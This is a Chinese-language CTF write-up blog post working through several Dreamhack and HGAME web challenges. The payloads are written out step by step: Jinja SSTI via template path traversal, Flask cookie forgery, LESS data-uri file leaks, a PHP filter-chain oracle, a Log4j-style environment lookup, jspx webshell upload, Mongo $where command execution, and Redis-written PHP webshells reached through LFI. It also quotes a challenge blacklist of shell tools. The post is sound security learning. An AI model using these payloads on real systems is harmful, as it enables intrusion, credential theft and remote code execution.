mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
3724 字
11 分钟
ChaoMixian-WriteUp-20260209
2026-02-09

Super Safe File Storage#

Discription#

Our site has no vulnerabilities! 😗 Our site doesn’t need Guessing! 😎 25.08.24 Patched (add special character, Blacklist.txt)

解题#

下载下来的附件只有一句话:blackbox

靶机内部有几个已经存在的文件:

manual.txt

Because of a file upload attack, that feature will not be available for the time being.
However, important process are still running in the background.

stolen_1.txt

blacklist.txt
?
!
"
'
&
(
)
*
,
-
.
:
;
<
=
>
@
[
]
^
$
%
~
7z
dd
ag
apk
apt
awk
base64
bash
bin
bzip2
cd
chmod
chown
cp
cron
curl
cut
dev
dig
dir
disown
docker
echo
env
eval
exec
export
file
find
flag
fl
get
grep
gunzip
gzip
head
hexdump
host
ifconfig
ip
kill
kubectl
ln
ls
mkdir
mv
nc
ncat
netcat
netstat
node
nohup
nmap
nslookup
od
onestar
perl
php
ping
pip
pip3
podman
popen
printenv
printf
ps
pwd
python
read
readlink
reboot
realpath
rm
rmdir
route
scp
sed
set
sftp
sh
shutdown
sleep
socat
sort
ss
stat
strings
system
tar
tcp
tcpdump
tee
timeout
top
touch
tr
traceroute
txt
uniq
unset
unzip
uptime
wget
xargs
xxd
xz
zip

stolen_2.txt

package com.example.upload;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.struts2.ServletActionContext;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class CheckAction extends ActionSupport {
private List<String> allFiles;
private List<String> shFiles;
private List<String> shResults;
private String message;
private boolean run;
public String execute() {
javax.servlet.http.HttpServletResponse resp = org.apache.struts2.ServletActionContext.getResponse();
if (resp != null) {
resp.setHeader("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0");
resp.setHeader("Pragma", "no-cache");
resp.setDateHeader("Expires", 0);
}
javax.servlet.http.HttpServletRequest req = org.apache.struts2.ServletActionContext.getRequest();
if (req != null && !"POST".equalsIgnoreCase(req.getMethod())) {
this.run = false;
}
String rootPath = ServletActionContext.getServletContext().getRealPath("/");
File root = new File(rootPath);
List<String> all = new ArrayList<>();
List<File> sh = new ArrayList<>();
walk(root, root, all, sh);
Collections.sort(all, String.CASE_INSENSITIVE_ORDER);
this.allFiles = all;
List<String> shNames = new ArrayList<>();
for (File f : sh) shNames.add(toRel(root, f));
Collections.sort(shNames, String.CASE_INSENSITIVE_ORDER);
this.shFiles = shNames;
this.shResults = new ArrayList<>();
if (run) {
File sec = new File(root, "security_check.sh");
if (sec.exists() && sec.isFile()) {
try {
ScriptResult r = runScript(sec, true);
shResults.add(sec.getName() + " → exit code: " + r.exitCode +
"\nOutput:\n" + r.output.trim());
boolean ok = r.output.toLowerCase().contains("nice");
if (ok) {
File baseDir = sec.getParentFile() != null ? sec.getParentFile() : root;
List<File> others = listShInDir(baseDir, "security_check.sh");
for (File f : others) {
try {
ScriptResult or = runScript(f, false);
shResults.add(f.getName() + " → exit code: " + or.exitCode +
"\nOutput:\n" + or.output.trim());
} catch (Exception e) {
shResults.add(f.getName() + " → execution failed: " + e.getMessage());
}
}
for (File f : others) {
if (f.exists() && f.isFile()) {
if (!f.delete()) {
try { f.setWritable(true, false); } catch (Throwable ignored) {}
f.delete();
}
}
}
}
} catch (Exception e) {
shResults.add("security_check.sh → execution failed: " + e.getMessage());
}
} else {
shResults.add("security_check.sh not found");
}
List<String> all2 = new ArrayList<>();
List<File> sh2 = new ArrayList<>();
walk(root, root, all2, sh2);
Collections.sort(all2, String.CASE_INSENSITIVE_ORDER);
this.allFiles = all2;
this.message = "File check Done!";
} else {
this.message = "Press the button to run integrity check.";
}
return SUCCESS;
}
private void walk(File base, File dir, List<String> all, List<File> sh) {
File[] list = dir.listFiles();
if (list == null) return;
for (File f : list) {
if (f.isDirectory()) {
walk(base, f, all, sh);
} else {
String rel = toRel(base, f);
all.add(rel);
if (f.getName().toLowerCase().endsWith(".sh")) sh.add(f);
}
}
}
private String toRel(File base, File f) {
String bp = base.getAbsolutePath();
String fp = f.getAbsolutePath();
if (!bp.endsWith(File.separator)) bp = bp + File.separator;
return fp.startsWith(bp) ? fp.substring(bp.length()) : f.getName();
}
private List<File> listShInDir(File dir, String excludeName) {
List<File> out = new ArrayList<>();
File[] arr = dir.listFiles();
if (arr == null) return out;
for (File f : arr) {
if (f.isFile() && f.getName().toLowerCase().endsWith(".sh")) {
if (excludeName != null && f.getName().equalsIgnoreCase(excludeName)) continue;
out.add(f);
}
}
return out;
}
private ScriptResult runScript(File script, boolean isSecurityCheck) throws IOException, InterruptedException {
String nm = script.getName();
if (isSecurityCheck) {
if (nm == null || !nm.toLowerCase().contains("security_check")) {
return new ScriptResult(1, "Backdoor Detected!");
}
} else {
if (nm == null || !nm.toLowerCase().endsWith(".sh")) {
return new ScriptResult(1, "Backdoor Detected!");
}
}
ProcessBuilder pb = new ProcessBuilder("/bin/bash", script.getAbsolutePath());
pb.directory(script.getParentFile());
pb.redirectErrorStream(true);
Process p = pb.start();
StringBuilder out = new StringBuilder();
try (BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8))) {
String line;
while ((line = br.readLine()) != null) out.append(line).append("\n");
}
int code = p.waitFor();
return new ScriptResult(code, out.toString());
}
private static class ScriptResult {
int exitCode;
String output;
ScriptResult(int c, String o){ this.exitCode = c; this.output = o; }
}
public void setRun(boolean run) { this.run = run; }
public boolean isRun() { return run; }
public List<String> getAllFiles() { return allFiles; }
public List<String> getShFiles() { return shFiles; }
public List<String> getShResults() { return shResults; }
public String getMessage() { return message; }
}

还有一个File Integrity Check,会检查:

blacklist.txt
browse.jsp
check.jsp
flag.txt
index.jsp
META-INF/MANIFEST.MF
META-INF/maven/com.example/upload/pom.properties
META-INF/maven/com.example/upload/pom.xml
META-INF/war-tracker
nohack.jsp
nohere.jsp
notfound.jsp
ROOT/index.html
ROOT/nohack.jsp
ROOT/web.xml
security_check.sh
success.jsp
uploads/manual.txt
uploads/stolen_1.txt
uploads/stolen_2.txt
view.jsp
WEB-INF/blacklist.txt
WEB-INF/classes/com/example/upload/BlacklistFilter.class
WEB-INF/classes/com/example/upload/CheckAction$ScriptResult.class
WEB-INF/classes/com/example/upload/CheckAction.class
WEB-INF/classes/com/example/upload/DotSegmentsGuardFilter.class
WEB-INF/classes/com/example/upload/ListUploadsAction.class
WEB-INF/classes/com/example/upload/PrettyUrlFilter.class
WEB-INF/classes/com/example/upload/UploadAction.class
WEB-INF/classes/com/example/upload/UploadsInterceptFilter.class
WEB-INF/classes/com/example/upload/ViewFileAction.class
WEB-INF/classes/struts.xml
WEB-INF/lib/commons-fileupload-1.4.jar
WEB-INF/lib/commons-io-2.11.0.jar
WEB-INF/lib/commons-lang3-3.8.1.jar
WEB-INF/lib/freemarker-2.3.31.jar
WEB-INF/lib/javassist-3.20.0-GA.jar
WEB-INF/lib/log4j-api-2.12.4.jar
WEB-INF/lib/ognl-3.1.29.jar
WEB-INF/lib/struts2-core-2.5.30.jar
WEB-INF/web.xml

默认输出是:

security_check.sh → exit code: 0
Output:
Security Check Done!
Checked .sh: 0
nice

布豪,是Java。Java面前一条曲。

吃力审计一下,如果 security_check.sh 输出包含 “nice”,它会扫描目录下所有的 .sh 文件并执行。

if (f.isFile() && f.getName().toLowerCase().endsWith(".sh"))

检查黑名单,发现 tac、tail、more、nl 没有被禁用。反斜杠\没有被禁用,可以转义特殊字符绕过waf。

发现存在 Log4J2 漏洞(CVE-2021-44228),不对,已经修了

我感觉就是 Struts2 CVE-2024-53677 啊,传一个:

tac /f\l\a\g\.\t\x\t

然后点一下check。

go run . -url http://host3.dreamhack.games:23581/upload-1.0.0/ -end-point upload.action

CVE-2023-50164 也不行啊😭

CVE-2017-5638 也不行啊😭

输了

Mini Memo#

A small and cute memo (❁ ’`❁)

USER_DATABASE = 'data/users.db'
MEMO_DATABASE = 'memos.db'

fuzz了一下,memo本身没法ssti。

if len(username) > 10:
flash('Username must be 10 characters or less!')
return render_template('register.html')
if len(password) > 10:
flash('Password must be 10 characters or less!')
return render_template('register.html')

然后就看到很奇怪的,说是用户名和密码要小于等于10字符,这就很可疑啊。接着审计,发现SQL部分都是用了占位符,排除注入可能。

template_path = f"data/templates/{template}"
if template.startswith("/") or template.startswith("../"):
template_path = f"data/templates/default"
template_path = os.path.normpath(template_path)

审计到这里。这里对传入的template做了简单的过滤,不能以/../开头,但这根本没用啊。比如我传入templates/../../users.db,通过检测,拼接完是data/templates/templates/../../users.dbos.path.normpath一下就变成data/users.db

结合前面提到的用户名密码的长度限制,注意到,用户名会直接写入data/users.db,同时可以把data/users.db作为模板,那么用户名就是SSTI的锚点。因为长度有限,那么就使用 {{ config }},先进行信息收集。注册一个用户名是{{ config }}的账号,然后burp改一下template参数,payload如下:

title=AA&content=BB&template=templates/../../users.db

flag1

访问新建的memo,获得SECRET_KEY(也是flag的前半段):

FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e

使用Flask-Unsign伪造token

flask-unsign --decode --cookie '.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWhhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu0sRpg.aYS8eg.PReu47xIFS8YkpbVnDC8OLSiB-k'
# {'role': 'user', 'user_id': 1, 'username': '{{config}}'}
flask-unsign --sign --cookie "{'role': 'admin', 'user_id': 1, 'username': 'admin'}" --secret 'FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e'
# .eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0

访问/flag,获得后半段:

FLAG2:0d2768542a3019bc94b34829f8995f98}

flag2 所以完整flag是:

DH{85bbcce15adac36a5682ae6fce4cec7e0d2768542a3019bc94b34829f8995f98}

LESSer Cat#

Description#

We have released Lesser Cat, which has reduced all features other than cat-related functions!

Use the unique ColorPicker feature to change the cat’s wallpaper color!

※ The rest of the features are under development…

审计#

题目提示,LESS模板注入。

发现POST /reset_mail,会写入一个带有重置密码需要的Key的文件./mail.log。目标就是泄露这个文件,重置密码,以admin权限登录。

function colorPicker(colorDict){
var css = "";
for (var key in colorDict){
try{
if(!colorDict[key].match(/^#[\w\d]{6}$/)) return false;
}
catch(error){
// console.log(error)
}
css += `@${key}:` + colorDict[key] + ";";
}
css = css + "body{ background-color: @bgcolor; color: @color; }";
return css;
}

可以看到,虽然使用了/^#[\w\d]{6}$/这个正则对传入数据做了检验,但是catch块并没有阻止逻辑继续。如果try内报错,就不会return false,而是继续执行css += `@${key}:` + colorDict[key] + ";";。注意到,JS的数组并没有.match方法,这里是会爆TypeError的。

此外,JavaScript 是弱类型的,当数组与字符串相加时,数组会自动调用 .toString(),如果这里传入

['#fff; .leak { content: data-uri("mail.log"); }']

拼接结果就是

@bgcolor:#fff; .leak { content: data-uri("mail.log"); };

data-url 这里的data-uri函数会读取文件并且以URl安全的形式储存,当请求它时,就会读取文件。<文档链接>

Payload:

bgColor[]=#ffffff; .leak { content: data-uri("mail.log"); }&fontColor=#000000

先申请重置密码,没有提供前端,直接用 curl 发吧:

curl -X POST http://127.0.0.1:3000/reset_mail

执行注入:

curl -X POST http://127.0.0.1:3000/color \
-d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \
-d "fontColor=%23000000"

访问/image.css leak

.leak {
content: url("data:text/plain,fb21ebd8354818399fcd9a3f6781bbcf");
}
body {
background-color: #ffffff;
color: #000000;
}

local 获得重置密码需要的key。请求/pass_reset重置密码:

curl -X POST http://127.0.0.1:3000/pass_reset \
-d "password=111&key=fb21ebd8354818399fcd9a3f6781bbcf"

登录:

curl -X POST http://127.0.0.1:3000/login \
-d "username=admin&password=111"
# flag{fake_flag}

Remote#

~ curl -X POST http://host3.dreamhack.games:9891/reset_mail
Reset Mail Send.%
~ curl -X POST http://host3.dreamhack.games:9891/color \
-d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \
-d "fontColor=%23000000"
ColorPicker Done%
~ curl http://host3.dreamhack.games:9891/image.css
.leak {
content: url("data:text/plain,5bd6ae8c9a0a07f5d50a7113f7a9e1ab");
}
body {
background-color: #ffffff;
color: #000000;
}
~ curl -X POST http://host3.dreamhack.games:9891/pass_reset \
-d "password=111&key=5bd6ae8c9a0a07f5d50a7113f7a9e1ab"
Reset Done%
~ curl -X POST http://host3.dreamhack.games:9891/login \
-d "username=admin&password=111"
flag{LESSerCat_with_LESSJS_SSTI!}%

flag

#

看别人的WP,发现

@import (inline) "mail.log";

也是可以的。算是报错回显吧。

也有的思路是通过@plugin引用外部js,不过机器是不出网的。

jukebox#

Browse musics…

这题的考点是PHP filter chains: file read from error-based oracle,需要用到这个工具。确实没遇到过这样的考oracle预言机的题目,这个知识点也是第一次知道。

其实附件刚下载完打开,本地部署的时候就看见docker-compose.yml里的restart: unless-stopped,我当时以为这可能是某个比赛的原题,需要保证稳定。但其实如果有敏感性,这个就能看出考点了。泄露文件的核心在于要让php奔溃,返回Fatal error

这题我能审计到的,就是绕过协议头检查:

curl -v -X POST http://127.0.0.1:54321/ \
-d "song_url=php://filter/var=https://google.com/resource=file:///flag.txt"

这样可以直接读取文件,不过waf会检查flag头,也就是DH,如果输出包含它,就会报错Suspicious output!。接下来就是php://filter神奇的地方。

PHP 的过滤器(如 iconv 字符集转换)在处理特定字符时,会有不同的行为,也就是说,反应上的不同本身就可以构成侧信道。通过组合极长的过滤器链(比如几千个 convert.iconv… 的组合),可以让数据在转换过程中发生变化。

这个工具使用了一种特定的链条组合,使得:

如果文件的第 N 个字符是 'A',经过这几千次转换后,数据流会指数级膨胀,导致PHP OOM崩溃。
如果文件的第 N 个字符不是 'A',数据流就不会膨胀,或者膨胀得很小,PHP 能正常执行完。
...

其实原理上很像SQL的time-based blind injection,但是sql可以用benchmark或者求笛卡尔积等等方法,php里通过php://filter本身处理的差异这实在太高级了。而且这几乎没法防御吧,这个延迟本身甚至都不是因为逻辑上的分支导致的,除非说加一道waf,数据过长直接阻断。没有很完美的修复手段。

一开始match没设置对,导致fallback到了基于报错时间的攻击,非常之不准啊,要跑相当多次才能确认。 time_based

解题流程如下:

git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
cd php_filter_chains_oracle_exploit
python3 filters_chain_oracle_exploit.py \
--target http://host3.dreamhack.games:11404/ \
--parameter song_url \
--file "php://filter/var=https://google.com/resource=file:///flag.txt" \
--verb POST \
--match "Fatal error"
[*] The following URL is targeted : http://host3.dreamhack.games:11404/
[*] The following local file is leaked : php://filter/var=https://google.com/resource=file:///flag.txt
[*] Running POST requests
[*] The following pattern will be matched for the oracle : Fatal error
[+] File php://filter/var=https://google.com/resource=file:///flag.txt leak is finished!
REh7UEhQX0xGMV9DNE5fRDBfNE5ZVEgxTkc6NkU0WldyVXA0bTFXa28vOUxxdkVTZz09
b'DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg=='

flag 本地测试,最后一位是跑不出来的,但也就是右大括号。所以flag:

DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg==}

az 这是LFI吗?好像是的吧。。。?

Fruit Market#

注册一个用户,把nickname设置为${env:ADMIN_PASSWORD},登录后,顶部问候语句会泄露Admin的密码,本地靶机是ivtMytf4eStS5bis

分析源码可知,admin的userid是容器启动时随机生成的,admin_${???},这个直接爆破一下也没多少,但其实用处不大?直接看docker日志就可以看到。

market-app | 2026-02-06T13:14:38.443Z WARN 1 --- [fms] [ main] com.ctf.fms.InsertAdminRunner : Seeded admin account -> userid='admin_9xh' password='ivtMytf4eStS5bis'

这里我一开始是考虑使用:

${file:UTF-8:/proc/1/fd/1}

这个payload作为nickname来泄露启动日志,但是这个东西非常大,而且一直源源不断地涌出,直接把靶机搞崩溃了,这肯定不行啊。所以我感觉还是爆破为主,很快的。

发现有两个上传接口,只有一个实际可控。看到过滤了jsp,但是依然可以上传jspx,传个马试试看:

curl -X POST -H "Cookie: session=.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWxhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu38RqA.aYS77Q.tqgYbR9eoa9-8UbDAMhmnDkTs7Y; JSESSIONID=F42D0BF29649EB5933B8EB61D107C660" -F "file=@shell.jspx" http://127.0.0.1:8001/admin/upload
{"path":"/uploads/1770383849121_shell.jspx"}

确实可以,不过注意到题目自带了一个马,那么自然也是能用的,不过加载不了蚁剑的payload。

http://127.0.0.1:8001/uploads/shell.jsp?cmd=id

curl “http://resource:3000/api/_resource/test?view%5Bmatch%5D%5B%5C$where%5D=this.name==new%2520Date(process.mainModule.require(‘child_process’).execSync(‘/flag’).toString())

curl “http://resource:3000/api/_resource/test?view%5Bpath%5D=nutritionProfile&view%5Bmatch%5D%5B%5C$or%5D%5B0%5D%5B%5C$where%5D=throw%2520new%2520Error(process.mainModule.require(‘child_process’).execSync(‘/flag’).toString())

没招了,搞了几个小时了😭。这题需要从market-app容器横向打到resource容器,利用mongo容器😵但这resource怎么一打就挂了。。。

phpythonode#

Description#

It is a server that runs three services: php (php-1), python (ssrf), and node (node_api).
/readflag Run the binary.
This issue is for experienced web hackers.

I’m not a experienced web hacker qwq.

附件不完整,只有部分代码,这。。。感觉vm credit又不保。。。

Host: host3.dreamhack.games Port: 16484/tcp → 8000/tcp 10539/tcp → 3000/tcp For Pwnable Challenges: nc host3.dreamhack.games 16484 For Web Hacking Challenges: http://host3.dreamhack.games:16484/ For Pwnable Challenges: nc host3.dreamhack.games 10539 For Web Hacking Challenges: http://host3.dreamhack.games:10539/

好大一题

获取 Python Flag#

try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
local_host = '127.0.0.1'
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer((local_host, local_port), http.server.SimpleHTTPRequestHandler)

这没啥好说的,就去ssrf爆破一下端口,读http://127.0.0.1:{port}/flag.txt就好了,有点慢,先看PHP部分。 ssrf_flag 出来了:

This is ssrf flag

获取 PHP Flag#

在 php/index.php 中存在 LFI:

include $_GET['page']?$_GET['page'].'.php':'main.php';

在 php/view.php 中虽然可以查看文件,但过滤了 “flag” 关键字:

$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);

ssrf 使用Python的ssrf:

http://127.0.0.1:80/?page=php://filter/convert.base64-encode/resource=../uploads/flag

php_flag 解base64再解base64可以获得php部分的flag:

<?php
$flag = 'This is php-1 flag';
?>
can you see $flag?

获取 Node.js Flag#

app.get('/show_logs', function(req, res) {
// var log_query=get/log_info
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}
try {
redis_client.send_command(log_query[0], log_query[1], function(err, result) {
if (err) {
res.send('ERR');
} else {
res.send(result);
}
})
} catch (err) {
res.send('try /show_logs?log_query=get/log_info')
}
});

又是catch错误没有处理,这周遇到两题了,不过那题是go,但也是数组报错。如果传入数组,log_query = log_query.split('/');就直接报错了,跳过if那里的关键词检测,到了catch,又没有抛出异常,导致这个log_query被send_command了。

先访问一下http://host3.dreamhack.games:10539/拿个cookie:

session=.eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0; connect.sid=s%3AdxEGksUKJsHSPX73ruHiJzWVtsv9Vsit.2Hd7YP9Bi%2FmJuZ8XRDxzmPbTB3kL95hYY8fQjwpNtUk

这里的Session ID就是dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit

我们需要将 Session 数据设置为:

{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

get_admin payload就是:

GET /show_logs?log_query[0]=set&log_query[1][0]=sess:dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

node_flag 返回OK,然后请求/flag,拿到flag:

This is node_api flag

RCE#

不过以上的flag都没用啊,最终的flag是需要RCE执行/readflag的。然后靶机内部还有一个redis,估计是需要利用redis写php马。

先设置redis目录,最保险的就是/tmp了,不会有权限问题:

/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp

设置文件名:

/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=shell.php

写文件:

/show_logs?log_query[0]=set&log_query[1][0]=myshell&log_query[1][1]=<?php system($_GET['cmd']); ?>

保存:

/show_logs?log_query[0]=save

index.php会自动拼接.php,所以只需要引用shell就可以了,通过Python的ssrf对php操一个LFI的作:

http://127.0.0.1:80/?page=../../../../tmp/shell&cmd=/readflag

rce OK图片base64丢厨子,拿到flag:

DH{d7e17d0a5c5f4886c33ded622bec0df5}

flag

复盘#

我感觉这题出得蛮好,三个服务三个fake flag引导你一步一步渗透内网,不然真的没啥头绪,一上来要想到 node命令执行操作redis写马用python的ssrf对php进行lfi实现rce,挺难的,但是给了一个铺垫就很有意思了,考的知识点是很清晰的。难度主要在node的那个payload构造,其他都是固定操作。

附件不给完整题目得喷,得看着Dockerfile和docker-entrypoint.sh推测靶机样子

dreamschool#

Description#

dreamschool, a school community for all schools around the world

Hello! I am DreamSchool, which manages a community for all schools from elementary school to university 💙

I heard that something strange is happening on Dream University’s secret bulletin board, but the board is locked, so I can’t even see it as an administrator 😢

Be sure to find out what’s happening at Dream University!

审计&解题#

先看Dockerfile,有一句非常奇怪

RUN sed -i.bak '143,146d' /usr/local/lib/python3.9/site-packages/jwt/algorithms.py

那么自然要去检查一下requirements.txt的PyJWT是什么版本,好的,是PyJWT==1.7.1,那么大概率要考JWT伪造了。

观察error.py,学校名称存在SSTI。注册一个学校名为{{ config }}的账户,登陆后触发404,泄漏: ssti

/s/&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: b&#39;\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;AUTH_PUBLIC_KEY&#39;: b&#39;-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----&#39;, &#39;FLAG_SCHOOL&#39;: &#39;드림대학교&#39;, &#39;SQLALCHEMY_DATABASE_URI&#39;: &#39;sqlite:////app/database.db&#39;, &#39;TIMEZONE&#39;: &#39;Asia/Seoul&#39;}&gt;'>&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: b&#39;\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;AUTH_PUBLIC_KEY&#39;: b&#39;-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----&#39;, &#39;FLAG_SCHOOL&#39;: &#39;드림대학교&#39;, &#39;SQLALCHEMY_DATABASE_URI&#39;: &#39;sqlite:////app/database.db&#39;, &#39;TIMEZONE&#39;: &#39;Asia/Seoul&#39;}&gt;(으)로</a>

一大坨,只需要关注AUTH_PUBLIC_KEY就可以了:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL
UnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh
nAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE
RSYxWVbDY59Ukb25XwIDAQAB
-----END PUBLIC KEY-----

jwt Dockerfile删除的/usr/local/lib/python3.9/site-packages/jwt/algorithms.py刚好是 PyJWT 1.7.1 中防止非对称公钥被用作 HMAC 密钥的检查代码(CVE-2022-29217),那我肯定不想删这个东西,就用之前的脚本生成jwt好了。另外需要注意,上面的AUTH_PUBLIC_KEY中有个空格,需要换成+

之后,,,之后的,,,居然被ai一把梭了😨,他给了我一个exp,跑了一下直接爆flag了。。。 exp_flag flag

那么结合它的exp来分析一下流程吧。考点是UUIDv1 预测。UUIDv1 基于时间戳。由于代码中是连续调用,两个 UUID 的时间戳差异极小,也就是说可以通过伪造的 Token 访问 드림대학교 主页,获取Free Boardboard_id,然后通过微调时间戳(增加偏移量)来爆破Secret Boardboard_idexp

秘密版块虽然开启了 MFA,但 school_board 路由(/s//<board_id>)中只检查了 visible 属性,没有再次校验 MFA 状态。只要拥有드림대학교身份,并且知道secret_board_id,即可直接访问版块并读取flag。

有意思是,前两天刚刚翻到了LamentXU的这篇文章-聊聊python中的UUID安全。了解到Python的UUIDv1实现是基于PRNG的伪随机数。“那么一次UUIDv1就会泄露14个字节,根据MT19937的攻击方式。我们需要连续624*32//(14)+1=1427次泄露就可以预测下一个生成的clock_seq”。嗯,看不懂。

魔理沙的魔法目录#

我以为那个time是累计时长,结果好像是单次时长,最大两位数。眼疾手快发个几十次就好了。

curl 'http://cloud-big.hgame.vidar.club:30850/record' \
-X 'POST' \
-H 'Accept: */*' \
-H 'Content-Type: application/json' \
-H 'Origin: http://cloud-big.hgame.vidar.club:30850' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' \
